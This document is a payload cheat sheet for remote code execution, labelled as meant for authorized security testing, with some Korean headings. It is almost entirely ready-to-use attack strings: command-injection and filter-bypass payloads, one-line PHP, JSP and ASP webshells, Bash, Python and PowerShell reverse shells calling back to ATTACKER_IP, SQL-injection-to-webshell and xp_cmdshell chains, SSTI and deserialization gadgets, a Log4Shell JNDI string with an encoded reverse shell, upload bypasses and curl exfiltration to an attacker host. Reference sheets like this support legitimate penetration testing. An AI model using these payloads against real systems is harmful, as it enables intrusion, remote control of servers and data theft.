RCE Payload Collection

Command InjectionWebshellReverse ShellSSTIDeserializationLog4Shell

1. Command Injection (명령 삽입)

; whoami
| whoami
`whoami`
$(whoami)
&& cat /etc/passwd
%0a whoami

필터 우회:

w'h'o'am'i
w"h"o"am"i
who$@mi
cat${IFS}/etc/passwd
/???/??m /???/??ss??

2. Webshell (PHP / JSP / ASP)

<?php system($_GET['cmd']); ?>
<?php eval($_REQUEST['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?=`$_GET[0]`?>

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>

3. Reverse Shell

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($t,0,$t.Length)}"

# Listener
nc -lvnp 4444

4. SQL Injection → RCE

' UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
  EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
  EXEC xp_cmdshell 'whoami'; --

5. SSTI (Server-Side Template Injection)

{{7*7}}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}

6. Deserialization (역직렬화)

# Java (ysoserial)
java -jar ysoserial.jar CommonsCollections5 'whoami' > payload.bin

# PHP
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

7. Log4Shell (CVE-2021-44228)

${jndi:ldap://ATTACKER_IP:1389/Basic/Command/base64/YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC80NDQ0IDA+JjE=}

8. File Upload Bypass (업로드 우회)

shell.php → shell.php5, .phtml, .phar
shell.jpg (GIF89a magic bytes) + .htaccess: AddType application/x-httpd-php .jpg
Content-Type: image/jpeg + shell.php.jpg

9. Verification (검증)

# Out-of-band
curl http://ATTACKER_IP:8000/$(whoami)
$(whoami).oob.example.com

# Blind (time-based)
sleep 5

Generated for authorized security testing — RCE Payload Reference Sheet.